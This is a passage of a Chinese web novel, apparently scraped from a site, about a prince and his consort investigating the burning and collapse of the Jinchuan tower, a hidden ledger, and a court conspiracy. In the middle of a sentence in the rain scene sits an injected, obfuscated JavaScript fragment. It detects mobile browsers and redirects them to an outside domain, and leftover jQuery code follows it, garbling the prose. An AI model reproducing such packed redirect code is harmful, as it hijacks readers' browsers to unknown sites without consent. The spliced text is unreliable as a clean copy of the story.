宁熙将她的小动作全都看在眼里,他盯着她的头顶,花钿静静地垂着。宁熙忽然想笑,不知道为什么,他觉得这个样子的万姝丹很可爱。但他没有开口,他想看看万姝丹要做什么,需要仆人观察自己的动向。 没有人开口。 万姝丹眼珠转了转,她妥协了,“殿下……” “王妃……” 万姝丹倏地抬头,与宁熙的视线撞在一起。 “你先说。” “你想说什么?” 两个声音重叠在一起,可他们都听清了对方说的话。 万姝丹拿眼看着宁熙。 宁熙放低了声音,“我之前怎么跟你说的?” 万姝丹有些心虚地挪开视线,“不让长公主涉险。” “那你们这次是在做什么?” 万姝丹挠挠脸颊。 “嗯?” 宁熙步步紧逼,万姝丹反而冷静下来,她双手抓着秋千的绳子,抬起眼,“殿下,今日之事,你若是仔细想想,不会不明白的吧?” 宁熙微微眯起眼睛。 万姝丹紧紧抓着绳子,“若非长公主愿意,她又怎么会听从我们的计划?” 宁熙怒极而笑,“是,你说得不错,如果姑姑不愿意这样做,谁都无法改变姑姑的意愿。” 他伸手抓住万姝丹的手腕,“可我记得我同你说的是,不要让长公主涉险,这事关你们的计划,与长公主的意愿无关,从一开始,你们就不该将她算进去。” 万姝丹感觉宁熙的手越抓越紧,“我们既然敢这么做,就是做好了万全的准备。这是开启京城的第一步,必须要走得完美,不能有丝毫偏差。金川楼里大约有一半的人都是我们安排的,他们在人群中引导着事态的走向。而且,殿下您不是也在楼里?莫非殿下觉得自己的能力不够处理这样的突发情况?” 宁熙定定地看着她,他手上松了力,仍旧圈着她的手腕,“沈济之的算盘打得好啊,看看我是否还有能力,不至于真的在七年之间失了心志,变得平庸,连一点被利用的价值都没有。现在想来,当时你不同我相认,其中一点就是为了试探我的能力吧?若是我无法达到你们的要求,你们就会毫不犹豫从中撤出,再另寻人选。所以,你为了方便从王府中脱身,自然不会与我相认。否则被我知道你们在京城中,我又知道沈济之并没有死,你们无法肯定我会不会将这件事传播出去。基于以上原因,你当时才会顾左右而言他。” 万姝丹语塞。 “你怎么不说话了。” 万姝丹不去看他,“都让你说完了,我还说什么?” 宁熙挑眉,“那我猜对了,怎么样,我的表现还合格么?” 万姝丹抬头瞄他一眼,被宁熙抓住了视线,他眼神不带一点温度。 万姝丹无奈,“殿下……” 她正要说什么,宁熙伸出一根手指,竖在万姝丹唇前,“嘘,你什么都不用说了,违心的话不要说。其实易地而处,我也会这样做的。毕竟对方没有能力,还不如我自己亲自动手,不是吗?” 不知为何,万姝丹仔细思考一番,她认真地看向宁熙,“殿下不会的。别看殿下有时候阴晴不定,其实没变。” 宁熙正收回手,忽然被这句话定在原地。 万姝丹从他的眼神中解读不出任何信息,只见他眉头微蹙,突兀地笑了一声,缓缓开口:“难得听你夸我。” 万姝丹轻轻荡起秋千,“殿下若是想听,日后我天天说给你听。” 宁熙古怪地看着她,“你倒是不遮掩。” “遮掩什么?我与二哥本来就是为达目的不择手段之人,这有什么好遮掩的。” “沈济之……”宁熙思索着,“或许是,可你不像。” 万姝丹挑挑眉,不置可否。 宁熙话音一转,“不过,你别想糊弄过去。说说吧,你们烧金川楼是要做什么?那后间里的陈设,就差把‘故意’两个字写在墙上了,你们是认定这件事最后会归我管。” 万姝丹从秋千上起身,“所以这件事归殿下了么?” 宁熙没说话。 “啊,看来是的。”万姝丹露出微笑,“至于为什么放火,殿下没有找到吗?” 宁熙跟上她的脚步,“找到什么?” “一本账册。” 宁熙仔细回想,“后间确实有很多账册,你说的是哪一本?” “看来藏得确实不易被发现。”万姝丹走进亭子,寻夏正在小几上摆放吃食,她拿起小碟里的榆钱糕,“就在那架子后面的砖墙上,有几块砖可以抽出来, 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“真的没事了,我自己都没在意,说不准已经消肿了。”万姝丹提起裙摆,伸出右脚,红肿已经消了,只留下浅浅的痕迹,“你看,是不是已经没事了?” 宁熙捞起她的脚腕,放在自己的腿上,万姝丹吓了一跳,就要挣动,“别动。” 风吹过,万姝丹的裙摆微微扬起,蹭过她的小腿,激起一身痒意,这种感觉直达心脏,让她觉得心里痒痒的,想挠却挠不到,十分别扭。 她下意识缩腿,宁熙一只手握住脚腕靠上的位置,另一只手托住她的脚,轻轻转动,“疼吗?” 肌肤与肌肤的相触碰,万姝丹一会儿觉得是他的掌心滚烫,一会儿觉得是自己的小腿在发热。几年的闲暇,让他的手掌变得柔软,连茧子都消失得无影无踪,因此被触摸的地方异常舒适。心中的酥麻如同野草疯长,大有占领全部地盘的趋势。 她忍不住问:“还没好吗?” 宁熙终于大发慈悲松开手,手离开的那一瞬间,风吹过被焐热的地方,毫不留情地一点一点带走温热。万姝丹本以为可以很快降温的,没想到冷热相碰时,那块地方开始隐隐发胀,好像有颗初生的心脏正在那里跳动,一下又一下,仿佛下一次就要冲破皮肤跳到她的面前。万姝丹飞速收回腿,裙摆立刻遮住了所有,荡起一层弧度。 宁熙自顾自地说着:“确实没什么大事了,但是还要注意一下,不然……” 他忽然止住了话头,万姝丹没等到他的后半句话,疑惑地抬头,就见宁熙盯着自己的脸。 万姝丹摸了摸脸,“怎么了?” 宁熙不太确定地说:“我怎么觉得你好像跟平时不太一样?” 万姝丹当然不会承认,“殿下看错了吧。” 宁熙狐疑地打量着她,万姝丹保持着面色,虽然她不知道宁熙为什么突然要检查她的脚腕,但她强压下心里奇怪的感觉,坦然地迎接他的目光。 见没发现什么,宁熙收回视线,“你确定不要告诉我?” 万姝丹还是那句话,“拿黑簪来换。” 宁熙冷冷瞥她一眼,转身走了。 万姝丹在他转身后暗笑,接着吹了一会儿晚风,也回了熹微院。她踏进院门前,抬头看了一眼匾额的位置。这些匾额,应该都是蓝妃取的,还有熏香,也是她喜欢的香味,所以在她死后,宁熙将这些都从日常生活中隐去了。衣服即使熏香,也只留下浅浅的味道。而留下那岁安院的匾额,想来那是蓝妃对宁熙的期盼吧,希望他岁岁平安。 卸掉发饰,万姝丹打理着头发,对寻夏等几个婢女说:“你们都下去歇息吧。” 14.楼塌 万姝丹回了内间,换上一身夜行衣,绑好头发,这才吹了灯,拉下床帏。 三更天。 她睁开眼睛,轻手轻脚从床上下来,从窗户翻了出去,轻轻跃上房顶,压下身子。万姝丹小心翼翼回忆了一下王府的侍卫排布,接着黑夜的掩护,往金川楼方向去了。 金川楼外,楼角、街角都挂上了灯笼,执金吾正在巡护,楼内一片漆黑。已经是后半夜了,守卫的人有些松懈,京城多年来相安无事,一起小小的后间起火能造成多大的后果?万姝丹蹲在树枝上,仔细听了听,她几个纵身就落在了金川楼三楼,刚一落地,她就跃上了房梁。三楼里没什么动静,她缩在房梁上,静静等待着。果然没过多久,一个黑影同样落在三楼,没什么声息地往一楼摸去。 万姝丹眼睛一亮,来了!她正打算跟上去的时候,又一个黑影翻进了三楼,身影比前一个要轻巧很多,万姝丹睁大了眼睛。这个黑影也很快就往一楼飘去。万姝丹没想到在这里能碰见木霆风,她皱了皱眉,还不清楚前一个人的身份,可如今木霆风也在,她难免会暴露自己,因此有些犹豫。几下思索,她还是小心翼翼地隐在黑暗中,向一楼滑去。 她停在二楼的一块梁上,发现有一个黑影轻手轻脚地在柱子和墙壁上抹着什么东西,他几乎把每一个角落都走过了。万姝丹在不惊动他的情况下,在房梁上歪着头寻找合适的角度,可惜光线太暗,她看不清对方在做什么。等这人往一楼去时,万姝丹轻巧落地,伸手摸了一下,是火油!万姝丹心中大呼,在二哥的刻意安排之下,对方竟然真的要烧掉金川楼! 她缓缓往一楼挪去,躲在了二楼通往一楼的楼梯上。只见那人又在一楼大堂里转悠一圈,四处抹抹。万姝丹不免有些疑心,一直没有看见木霆风的影子,也不知道这人去哪儿了,应该不会发现那本账册吧。这时那人到了后间门口,就要进去,里面有人突然发难。两人在窄小的门口无声息地过了几次手,有几次差一点就要碰到门框发出动静,都不约而同及时避开了。他们一边防着对方,一边避免造成声响引起执金吾的注意,因此打得束手束脚。而木霆风奇绝的轻功在这时发挥到了极致,另一个人几乎碰不到他的身影。就见这人在下一次交手分开时,回身抬手甩出几枚毫针,被对方旋身躲开。两人又站定在后间门口,一个在里面,一个在外面。万姝丹在暗处看得津津有味,下意识点头,无声叫好。 两人再一次分开,安静了一会儿。 万姝丹正纳闷儿这么不继续时,只见外面这个黑影伸手在身边的柱子上一擦,然后转身快速跃出,消失在黑暗里。在他跃出的那一瞬间,柱子上爆出火花,立刻点燃了整根柱子,火顺着特定的路线霎时将整个大堂点燃。木霆风不得不在暴露自己之前,飞出了金川楼。火花亮起时,万姝丹矮下身子,见两人都离开后,她避开火焰进了后间,火光照亮之间,她看见存放账册的架子被翻得很乱,但后面的墙壁没有被打开的迹象,她松了一口气。 很快,火就吞噬了整栋楼。 执金吾的人大声呼喊:“快救火!” “救不了了!火太大了!” “快去找卢将军!” 大火猛焰,燃烧的声音触动在场每一个人的神经。 * 天有些闷。 宁熙这晚睡得很不踏实,一直处于半梦半醒的状态,眼前做着缤纷乱坠的梦,耳朵里还能听到外面的动静。身下已经被汗浸湿了,黏腻腻的,粘在皮肤上十分不适。 当景煜快步走进岁安堂时,宁熙就惊醒了,他突地睁开眼,撑起上身,脑子还有些嗡鸣。他一手揉着额头,嗓音仍沙哑着,“发生什么事了?” 景煜脸上满是焦急,他听见宁熙的询问,没有顾上思考宁熙为什么是醒着的,急声说:“殿下!金川楼起火了!” “什么?”宁熙掀开被子,撩开床帏,下了床,“还是后间起火吗?” “不是。”景煜跟着他,“是整个金川楼全着了!” 果然,走出堂门,金川楼的方向已经火光冲天,映红了漆黑的夜。 宁熙抿紧嘴唇,还没等吩咐下去,寻夏从院外小跑进来,“殿下!殿下!王妃不见了!” 闻言,宁熙身形晃了一下,景煜眼疾手快扶住了他。 “殿下!” 宁熙眼睛里带着红血丝,他觉得自己还是太低估沈济之和万姝丹了,傍晚时无论如何也无法撬开万姝丹的嘴,没想到竟是这样的发展。宁熙用手撑着头,厉声道:“备马!” “殿下,已经备好了!”景煜从架子上扯下外袍给宁熙披上,“夜里凉,殿下多穿一件。” 宁熙匆匆将衣袍穿好,快步走出了府门,翻身上马,往金川楼疾驰而去。离金川楼越近,越能感受到火势的猛烈,他看到整座楼都着了。 原本的京城第一楼,此刻沐浴在火海之中,大火直冲天际。 宁熙眉心一跳,这是抹了多少火油啊!真是疯了!这本账册上究竟有谁的名字?这么不可告人!也不知道账册在暗格中能不能幸免于难。还有,万姝丹,他怎么还没见到万姝丹的影子? 宁熙自己都没意识到他的双手有些发抖,翻了两次才成功下马,就听见杂乱的马蹄声从皇城那边传来,是姚崇峻带人来了。 他隐约看见一楼大堂里有人影一闪而过,在冲天的火光里,任何影子都找不到隐蔽的地方。宁熙不能确定那是不是万姝丹,但他至今没有得到万姝丹的消息,那就有可能是她。一想到即使有万分之一的可能,万姝丹被困在火海中,宁熙就气不打一处来。他感觉自己的胸口隐隐作痛,喘着气,对身边的执金吾怒喝,“还不找人来灭火!一会儿把整条街都要烧了!” “殿下,已经派人去了!” “来了来了!快!” 两三辆水车被推了过来,一时间,人影纷乱起来。火光映在人的身上,带动黑影祟祟,拉长的影子在墙体上晃动。宁熙不知道万姝丹能不能脱困,想来她轻功卓绝,既然敢孤身进入金川楼,就一定做好了准备吧?她今天不是这么说的吗? 宁熙心里仍旧焦躁,他看着执金吾提着水桶往火中倒去,不过是杯水车薪。 火烧得很旺,热气扑在他的脸上,汗水不由自主滑了下来。 姚崇峻上前两步,“殿下!这是怎么回事!” 宁熙脸色十分难看,“我也是刚得了消息一路疾驰过来的。” 姚崇峻一拍大腿,“还是来晚了!我审问马三白一晚上,他才松口,说有一本账册,上面记录了勋贵们的投资和分红,我就想马上来取走,结果这金川楼怎么又着火了!” 宁熙半试探着说:“看来这是下定决心要烧掉那本账册了。” 姚崇峻略一沉吟,“不一定,据马掌柜交代,那本账册藏在后间墙壁的暗格里,那墙壁是砖石砌成的,也许有可能不被大火影响。” 宁熙说:“那就是今晚是有人想来偷账册,但是却没找到,情急之下干脆一不做二不休,直接点燃了金川楼。” 姚崇峻凝重地说:“如今看来,这番推测是合理的,只是这举动未免过大,有点太疯狂了!这般的大火,如何能扑灭?造成这么大的动静,无论如何都不可能从轻处理!” 宁熙看着面前的大火,“拿到账册或许就能见分晓了。” 执金吾跑来说:“殿下,火太大了,实在是难以扑灭啊!” 这时一阵爆裂的声音从金川楼里传来。 “殿下!殿下快后退!” 楼体内部已经开始出现坍塌,侧面时不时吐出一连串火花,宁熙被拉着往后退去。 正当这时,一颗小石子打在了宁熙的身上,景煜也注意到了,他转头看向身后的一片黑暗中,只有树枝在轻轻摇晃。又一颗小石子打来,景煜伸手接住,他往那边看了看,凑到宁熙耳边低声说:“殿下。” 宁熙会意,他点点头,心中的一块石头落了地,他呼出一口气。 卢劲此时赶来了,他身后跟着好几队执金吾,还有好几车水车。卢劲快步走到宁熙身侧,他直说道:“殿下,恐怕是无济于事。” 宁熙冷静地说:“也算是金川楼距离其他商铺都有些距离,不然在场的各位都难辞其咎了。” 火烧得空气更加闷了,宁熙觉得浑身都要湿透了。 姚崇峻忽然开口,“殿下,还记得下午时沉闷的天气吗?” “嗯?”宁熙将眼神从大火中挪开一些,望向天空,“记得,府尹还说夜间可能有雨呢。” 姚崇峻面色有些凝重,“殿下,也许……您不觉得金川楼这个位置,似乎是……” 宁熙说:“府尹有线索就不要吞吞吐吐的了。” “殿下,我也只是猜测,毕竟……” 姚崇峻话还没说完,雨滴三三两两落了下来,几乎是同一时间就密密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945538|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻麻砸了下来。 宁熙抬头望了望天色,黑压压一片,也不知现在几更天了。雨水顺着他的脸庞滑落,刚才被猛火烤热的身体又被雨水渐渐冷却,一冷一热之间,他忍不住打了个哆嗦。 这可真是一场及时雨! 来得如此巧合。 真是巧合? 宁熙一丁点儿都不相信。 原本在救火的执金吾开始搭起雨棚,他们以最快的速度搭好了棚子。 姚崇峻询问:“殿下,进来避避雨吧。” 宁熙抹了两把脸,进了雨棚,“府尹,有话就说吧。” 姚崇峻一边整理湿透的衣衫,一边对宁熙说:“殿下,这可真是一场及时雨。这让我不得不怀疑……” 宁熙适时问了一句:“什么?” 姚崇峻看了一眼火势,火焰在雨水中失去了势头,“马三白当时交代时,有一句话我想了很久都没想明白,他说的是‘在后间摆放账册的架子墙壁里有个暗格,里面有一本牛皮包裹着的账册,上面详细记录了三年来投资的勋贵人员’。殿下,还记得金川楼内完全没有防火措施的柱子墙壁吗?” 宁熙颔首,“这场雨,也在预计之中。不然又为何用牛皮包裹账册?砖石防火,牛皮防水。这可真是……” 姚崇峻接话:“筹谋已久。” 宁熙问:“这马掌柜还说什么了?” 姚崇峻叹气,“殿下,还记得中午马三白说他是贩卖蚕云品和私盐得到的本钱吗?我一直怀疑他是从什么渠道得到这些东西的,他说的姜温眠我们无法证实,即使就算有这个人,姜温眠的背后也肯定有人,他绝对不会是真正的幕后之人。” 宁熙点点头,“确实,能拥有蚕云品和私盐的人,必定是世家,淮州的刺史如今是谁?” “淮州如今没有刺史,淮州长史是崔嘉。” “崔氏……”宁熙看了一眼姚崇峻的神色,“姚府尹不要卖关子了。” 姚崇峻又叹一口气,“殿下,说是筹谋已久不为过,这环环相扣,你我皆是棋子。那马三白前半夜什么都不肯说,快到三更天时才交代。最后我问他背后之人究竟是谁时,他问了我一个问题,如今我也要问问殿下,殿下可有听说过纵跨汝、淮二州的大商行?” “是有所耳闻。” “那殿下可知这商行的掌柜是何人?” 宁熙略一沉吟,“好像……是裴氏?” “是啊,我听说的也是如此,汝东裴氏,是河右房的裴二郎裴子鸿。” 宁熙手指无意识地搓着,他最先想到万姝丹的那一句“算是吧”,原来金川楼竟然不是沈济之的,汝东……突然他想到了什么,面带讶然,“汝东……江左房,可是扈妃?” 姚崇峻颔首,“要知道当时那件事,可是惹得陛下大怒。” 宁熙喃喃:“扈妃,裴氏,南芸,皇孙……” 太子! 宁熙睁大眼睛,这可是,好大一盘棋啊。 雨还在下,火已经小了很多,露出了焦黑的木头。 宁熙心绪纷乱,一时间知道了这么多事情,尤其是还牵扯到了太子,甚至是皇孙,难怪金川楼会根本不做防火措施,他就是想让这火烧起来,可是若是不下雨,最终火势蔓延至周围街市,这件事必会更加闹大,如此一来,不是更能达到他的目的?为什么要选在会下雨的今日呢。 再说那纵火之人,浇了这么多的火油,难道只为烧一座楼、销毁一本账册?这未免有些大动干戈。万一真把事情闹大,这人就不会受到牵连吗?还是说,他知道这件事即使闹大,皇上也会轻轻放下。又或许,这人还有别的秘密? 宁熙被纷涌而来的思绪淹没,一时间竟有点发懵。 正当他愣神之时,却听轰然一声,楼塌了。 地面都跟着颤了颤,震耳的声音打在每个人的鼓膜上。 扬起的黑灰混杂在雨水中,溅得众人满身都是。 “咳咳咳……咳……” 金川楼分崩离析,塌得彻底,也再次缩小了火势,零星的火苗在木头缝之间慢慢熄灭。 宁熙一手挥了挥面前的空气,另一只手掩住口鼻,以免吸入太多灰尘。雨仍旧没停,烧焦的木头支棱着,被大雨冲刷过后,黑灰混合泥土、木屑,将这一片地弄得泥泞不堪。曾经彰显富贵的瓦片摔了个粉碎。 三年来人流不断的酒楼只剩一堆废墟。 15.生病 天还未亮,灯笼重新点了起来,悬挂在雨棚里。黑暗中的金川楼,就像一个庞然大物,在灯光的不完全映照下,更显巨大,仿佛一头蛰伏的巨兽,能将在场的所有人都吞掉一般。 雨减弱了一些,宁熙看了一眼时漏,“抓紧时间吧。” 执金吾开始有条不紊地清理起现场,卢劲指挥着,一车又一车的废料被拉走。 账册一时挖不出,宁熙的心就一时得不到安宁。 楼塌时还是波及了两侧的商铺,姚崇峻正带着人去视察情况,看看有无伤亡,计算一下损失。 宁熙也跟了过去,姚崇峻见他来了,“殿下,这几间商铺是卖茶叶、茶具的,晚间并没有人住。” 宁熙看着被压塌的铺子,“就算不是卖食物,不需要早上开张,晚上也会留人看着吧?虽说这是在京城,有执金吾巡夜,但完全不留人值夜,这店家未免心太大了些。” 姚崇峻低叹一声,“我刚才派人查过了,这几间都是金川楼的,注册时用的姜温眠的名字。” 宁熙问:“商铺注册记名时是需要按手印的吧?还需要出示户籍地官府出具的路引,并且登记在册。” 姚崇峻点点头,“京城在商户的管理上十分严格,所以当时一定是姜温眠本人到了京城,盘下这几间铺子。” 雨停了之后,天微微亮起,卢劲带着人将整片区域临时戒严了。此时废墟上的瓦块木梁已经清理出一小片敞开的空间,露出下下面大堂内的构造。 宁熙仔细看看,伸手一指,“那边,应该就是后间。” 他抬腿就要钻进去,姚崇峻匆忙拦下,“殿下不可!里面不知什么情况,殿下怎可以身犯险?若是……” 卢劲也说:“殿下,还是派人去吧!” 宁熙摆摆手,“姚府尹,我对那后间还有些印象,找得比较快些。咱们的时间不多了,一会儿皇上着人来问,不能没有那本账册。” 姚崇峻还想再拦,宁熙话还没说完就从身边的执金吾手里拿走一盏灯,爬上木堆,消失在几根斜柱之间,上面覆盖着许多零零碎碎的碎块。姚崇峻胆战心惊地看着那些碎块,只怕宁熙动作稍微大一点就要再次坍塌。 卢劲对执金吾喊,“你们都仔细着点!” 他又对姚崇峻说:“府尹!怎可就这样让殿下进去?这要是在里面有个什么三长两短……” 姚崇峻看了看废墟,又看了一眼卢劲,周围的执金吾也都有点紧张。他敛目放轻声音,“将军还是相信殿下吧。” 里面的空气着实算不上好,烧焦的味道和雨水浸泡纸墨的气息混合在一起,说不上来的刺鼻难闻。宁熙观察了一下,辨别出大概位置,小心翼翼迈过碎砖块,矮身穿过几个木梁,就到了后间,他将灯笼寻了个合适的位置,挂在断木上,随即动手将后间上盖的砖瓦清理到一侧。 斜断木上的碎块抖落些灰尘。 这时有人骑马过来了,是左魁宿卫大将军周寥,他远远看见金川楼的情况,心中大惊,“这到底是怎么回事?昨夜宫中都听见声响了,皇上要我一早来看看。” 姚崇峻说:“昨夜金川楼再次着火,原因尚且不明。” 周寥接着问:“殿下呢?皇上传殿下进宫。” 姚崇峻没说话,卢劲又是一声叹息。 周寥皱眉,他指着废墟,“殿下在里面?” 宁熙双手将摆放账册的木架掰开,木架上簌簌落下黑灰,未烧尽的纸张飘下,已烧尽的纸,轻轻一碰就碎成渣滓,沾了满手。他在这废墟里挖了许多,周遭的情况不算好,一个不慎都有可能引起坍塌。所以他进行得很小心,但小心就意味着需要更多的力气,宁熙的右手开始发抖了。在这种情况下,他竟然还能分心去想万姝丹,多亏了与她这几日的对练,否则这只手不一定能坚持这么久。 “咳……咳……” 后面的墙体露了出来,塌了大部分,只剩下个底座。 宁熙将灯笼取下,照在砖块上,他在砖块里扒拉着。 顶上的覆盖层晃动了几下。 “殿下!” 里面传来轻微的声响,宁熙似乎是在往外面走。覆盖层晃动几下后,安静了一瞬,随即塌了。 “殿下!” 一名执金吾顺着缝隙冲了进去,正好抓住宁熙伸出来的手,千钧一发之际,将他拽了出来。卢劲接住宁熙,快步带他远离,避开扬起的尘土。 “咳咳咳……” 宁熙挥了挥手,他看见周寥就站在姚崇峻身旁,“周将军。” 周寥见宁熙从废墟里出来,对他行礼,“殿下,传陛下口谕,召您进宫。” 宁熙从怀里掏出一个牛皮包裹,在所有人的注目中,将包裹打开了一点,账册完好无损。重新将包裹整理好,他对周寥说:“将军请。” 紫宸殿。 宁熙跪在地上。 武帝沉着声音问:“怎么回事?” “父亲,是儿子考虑不周,让歹人再次烧了金川楼,引起了坍塌。所幸执金吾反应迅速,并无波及。” “再次起火?”武帝一惊,“查出来是为何了吗?” “姚府尹连夜审问金川楼掌柜马三白,据马掌柜交代,在金川楼大堂后间里存有一本账册,上面记录了三年来勋贵参与投资金川楼分红的详细往来。” “那本账册现在何处?” 苏尚呈上牛皮包裹,武帝打开一看,脸色当即变了,“这本账册你看过了吗?” “没有。” “别人有看过吗?” “没有。这本账册是儿子从废墟中挖出的,一直都由我保管,我可以保证没有人看过这本账册的内容。” 武帝点点头说:“好,你做得好。先下去吧,回去好好休息。” 宁熙回了王府,直奔熹微院。 万姝丹正在里屋小憩,她听见了外面的动静,少顷,也不见宁熙进来,万姝丹这才开口:“殿下?” 宁熙的声音传来,“你出来。” 万姝丹觉得好笑,她穿好衣后,让寻夏为她挽了头发,就走了出去。 宁熙站在门边,屋里的婢女们对他行礼之后就退了出去。 万姝丹出来时就见宁熙虽然一身黑灰,站在门边却身姿端正。宁熙见她穿了条青碧黄条纱縠罗裙,万姝丹好像适合各种颜色,这些颜色穿在她的身上,都会穿出独属于她自己的味道。 见宁熙一直没有言语,万姝丹有些疑惑,“殿下?” 宁熙脸色淡淡的,看不出喜怒。然而万姝丹下意识觉得,这人不高兴了。她往前走了两步,“殿下?” 宁熙点了点头,伸出手,“你来。” 万姝丹抬了抬脚,犹豫两下,还是走向了他。宁熙的视线一直锁定在她的身上,一错不错。万姝丹迎着他的目光,走得平稳。 她站定在宁熙面前,还未来得及说话,就被他一把抓住了手腕。 万姝丹没设防,这个认知令宁熙挑挑眉,他趁万姝丹挣脱前,咬着牙说:“跟我来。” 一路上万姝丹都很安静,宁熙紧紧地拘着她的手腕。 到了书房,宁熙拉着她来到桌子前,将桌子上的一个木盒按在她的手里。 “连盒子一起给你。”宁熙一字一顿地说,“没有下次了,万姝丹。” 万姝丹用另一只手打开盒子,躺在白绸上的是一支通体漆黑的簪子。见到这支簪子的一瞬间,万姝丹觉得右手手腕上的旧疤在隐隐作痛。 她转了转手腕,将盒子盖上,“殿下?” 宁熙盯着她,“万姝丹,以后所有行动都要提前告知我。” 万姝丹轻轻挣动两下,发现宁熙仍旧不放手,“殿下在生气?是因为没有告诉你今晚我会去金川楼?可是那火不是我放的。” 宁熙拉起她的另一只手,按在木盒上,“不管那火是谁放的,我都有资格知道这件事。” 万姝丹平静地看着他,“原来殿下想知道的不止是关于长公主的事。” 宁熙手上用力,将万姝丹拽到自己身前,声音发冷,“你知道这有多危险吗?” 万姝丹不动声色,“有多危险?” 宁熙加重了语气,“你知道当时火烧得多猛烈吗!” 万姝丹歪头,她看了看宁熙的神情,忽然福至心灵,“殿下,你这是……在关心我?你怕我无法从火海中脱身吗?” “万!姝!丹!” 万姝丹眨眨眼,“我猜错了?可你为什么这么生气?” 宁熙深吸一口气,蓦地松了手,“你若是没从金川楼里出来,我要如何跟沈济之交代?” “嗯?”万姝丹不解,“这件事本来就是二哥安排我去的,哪里需要你交代……” “我很担心你。” “……殿下要诚实……啊?” 万姝丹突然止住了话头,她快速眨眨眼。 宁熙倒是平静下来,他眼神复杂,“如果……你真的没出来……” 万姝丹迅速偏过头,打断了他的话,“首先,我们不确定这些人是否真的会烧掉金川楼。其次,我敢独身进去,说明我一定会出来的。” 时间在这一刻凝固,万姝丹眼神漂移,但始终没有看向宁熙,她没有听到宁熙的回答,拿着盒子的手微微收紧。 “王妃当真英勇无畏。黑簪我已给你,希望王妃可以说到做到。” 说完,宁熙与她错身而过。 万姝丹下意识抓住了他的袖子,她咬咬唇,“‘难知如风’。” 宁熙果然停了脚步,他半转身子,挑起半边眉。 “这是我在江湖上的名号。我们的组织叫新雨楼,主要为经营各种产业,有陆商,也通海商。多年间,我们招揽了许多身负绝技之人,不过大多数都不愿涉入朝局,因此来的只有擅长易容的容玑,擅长医术的容璇,和二哥的近卫容权。京城中也有我们的暗桩,南织行、银妆楼、秋济坊、南行堂、岁世堂。” 听到这里,宁熙平稳的神色出现了一丝裂痕。 万姝丹话音一转,“不过殿下,我们在京城中能帮到你的地方不会太多。” 宁熙放缓了语气,“你们发展得这样好,若是折在京中,确实可惜了。” “金川楼只是一个开始,日后的路,需要殿下多费心思一步一步走了。” 宁熙忽然嗅出一丝不对的地方,“照你这样说,就算我不给你这支黑簪,你也会全盘告知我。” 万姝丹睁大眼睛,她攥紧了木盒,“给我了 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万姝丹说:“殿下不是也在这条船上吗?不过,我是想问你为何身上会沾了这么多灰,殿下不会亲自进废墟寻找的账册吧?” 宁熙反问:“你不希望我这样做?” “真是这样?”万姝丹有些惊讶,“殿下这举动,就不危险了吗?” 宁熙浅浅笑了,“你关心我?” 万姝丹直言道:“殿下若是有个三长两短,我们的铺垫不就白做了?” 宁熙仍旧在笑,只是那弧度变得生硬了些,“放心好了,我也不做没有把握的事情。不过,若是以命相搏能得到一些好处,省去一些不必要的麻烦,我当然要试一试。” 万姝丹拿着木盒回了熹微院,她把盒子放在床边,将黑簪取出,细细把玩着,有些爱不释手。 “寻夏。” “回王妃,寻夏姐姐去岁安院了。” 万姝丹拆发饰的手顿了顿,“去多久了?” “大约有一盏茶的时间了。” 万姝丹沉吟,“玉意,你去问问。” 很快玉意就回来了,万姝丹这才得知宁熙发烧了。也是,被火烤,又雨淋,不生病就奇怪了。 万姝丹想了想,往岁安院走去。 进了岁安院,颜宥津正要往外走,见了万姝丹,他道:“王妃。” “这是去干嘛?” “刚刚说服殿下,正要去请医官。” 万姝丹挥挥手,“你不必去了,我来就可以。” 颜宥津吃惊道:“王妃会看诊?” 万姝丹往堂里走去,“简单的发热还是可以的。” 到了内间,就见宁熙正躺在床上,双颊泛红,眼睛透着水光。看见万姝丹,他惊讶一瞬,嗓音沙哑,“你怎么来了?” 万姝丹坐在床边,摸了摸他的额头,“听说你病了,我来替你治病。” 她问寻夏,“有纸笔吗?” 景煜见她在写药方,问道:“王妃,您这,不号脉就开方吗?” 万姝丹将纸交给他,“没事,这药方保准管用,抓去吧。” 景煜看向宁熙,即使得到了肯定的答复,他还是犹犹豫豫地走了。 寻夏收好纸笔,也退了出去。 宁熙问她:“还是以前的药方?” 万姝丹肯定地说:“是啊,四哥开的方,百试百灵。” “那你之前怎么还让我复烧了。” 万姝丹丝毫没有心虚,“那时候殿下思虑太多,不是药方的问题。” 宁熙评价,“你就是个庸医。” 万姝丹也不反驳,“我本来就不是医官,连医都算不上,更别说庸医了。” 她说完这句就想回去。 宁熙拦住她,“你干嘛去?” “我不是庸医吗?庸医还站在你面前做什么。” 宁熙声音发软,“你不能走。” 万姝丹莫名其妙,不予理他,转身就走。 宁熙声音从身后传来,“阿姝……” 这一嗓子叫得万姝丹耳朵酥酥麻麻的,不由自主地停下了脚步,她转回身,宁熙指着一旁的贵妃榻。 万姝丹坐下,颇有点掩饰意味,端起桌上的茶盏吹了吹。 宁熙小声说:“已经不热了。” 万姝丹没听懂,“什么不热了。” “茶水。” “……” “可以直接喝。” 万姝丹顿了一下,将茶盏放回去,“你都下不了床,怎么知道茶水热不热?” “寻夏早就煮好的,肯定不热了。” 宁熙又说,“阿姝,我手腕疼。” 万姝丹仔细检查一番,发现是用力过度导致的,“殿下日后还是要注意,这只手现在还不能过度使用,须得再养一养、慢慢恢复。” 万姝丹拿出药膏,均匀地敷好,缠上纱布,“这是四哥配的药膏,对你手腕恢复有帮助,以后日日都要敷。” 这时寻夏端了药碗进来,万姝丹瞥了一眼药碗,想起了什么,笑着问:“殿下,还需要喂吗?” 宁熙知道她指的是什么,也不恼她,接过药碗就喝了。 万姝丹从侍女手里拿过小暖炉放进被窝中,又替他掖好被角,就回了自己的院子。 16.黑簪(一) 七年前,褚城外西山。 宁熙一直追至这里,郎台在他身后轻喊:“郎君慢点……郎君,那边就是褚城,楼将军此番奉命镇守宛州,郎君不该来的。” 宁熙咬牙说:“他将师父调得这么远,母亲就死了,分明是……” “郎君,即便如此,您也不该无声无息就北上,若是被发现了,那就是谋反了!” 